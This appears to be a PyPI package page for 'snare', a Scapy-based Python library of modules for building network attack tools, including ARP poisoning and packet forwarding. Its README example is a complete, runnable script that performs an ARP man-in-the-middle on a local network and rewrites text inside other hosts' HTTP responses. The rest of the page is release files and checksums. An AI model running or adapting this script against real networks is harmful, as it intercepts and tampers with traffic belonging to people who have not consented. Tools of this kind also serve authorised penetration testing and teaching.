Skip to main content

snare

Capture and manipulate traffic off the network

Snare provides a Sniffer class and a few “modules” which can be assembled to form attack tools. These classes are based on Scapy and provide a convenient way to interact with and compose tools from it’s functionality.

The advanced functions such as ARP poisoning, packet forwarding, and analysis are decomposed into modules to allow for greater flexibility and flexibility. Look at the constructed strategies for examples of how to compose the modules.

Docs are hosted on Read the Docs

Example

Suppose you hate the string “search” and you want to MitM your local network, replacing all instances of the word in HTTP responses with the word “replace”. Well the following script will do that for you!

import scapy.all as scapy
import snare

# Hello
@snare.tcpfilter
def inject(pkt):
  if all(layer in pkt for layer in (scapy.IP, scapy.TCP)):
      if scapy.Raw in pkt and pkt[scapy.TCP].sport == 80:

          s = b"search"
          r = b"replacement"

          raw = pkt[scapy.Raw]
          if s in raw.load:
              raw.load = raw.load.replace(s, r)
              print(pkt.show())
  return pkt

sniffer = snare.Sniffer(
    iface="eth0",
    modules=[snare.ArpMitmModule(filter=inject)]
)
sniffer.start()
input("Starting injection attack. Press enter to quit.")
sniffer.stop()

Development

Testing

Tests are written in pytest and can be run with the pytest command.

Documentation

Documentation can be built with Sphinx from the docs folder by running make html, or another target.

Metadata

Release files for snare 0.2.8

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for snare 0.2.8
File Size Uploaded Provenance Actions
snare-0.2.8.tar.gz 15.9 kB Without provenance Details for snare-0.2.8.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for snare 0.2.8
File Interpreter ABI Platform Actions
snare-0.2.8-py3-none-any.whl Python 3 none any Details for snare-0.2.8-py3-none-any.whl

Total release size: 33.5 kB

Release files / snare-0.2.8.tar.gz

Download URL snare-0.2.8.tar.gz
Size 15.9 kB
Tags Source
SHA-256 checksum
How to use checksums
58609f5d417bc60de2e4b42f5dc5ec1114ccf48c2f453d88bc085f91a964833b
BLAKE2b-256 checksum
How to use checksums
d66eaa91856d8b234160d3fcefdc56162762c1535908d39a143176fed117ea76
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.9.13

Release files / snare-0.2.8-py3-none-any.whl

Download URL snare-0.2.8-py3-none-any.whl
Size 17.6 kB
Tags Python 3
SHA-256 checksum
How to use checksums
eb6a38f51ce5d2eb66a660373935a4e57cf851b18265991490f06f357b1a6697
BLAKE2b-256 checksum
How to use checksums
baa231286f34b7700d7161bd0ba265d454dc0e471c484fd3e819712246f4f0cc
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.9.13

Security for snare 0.2.8

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page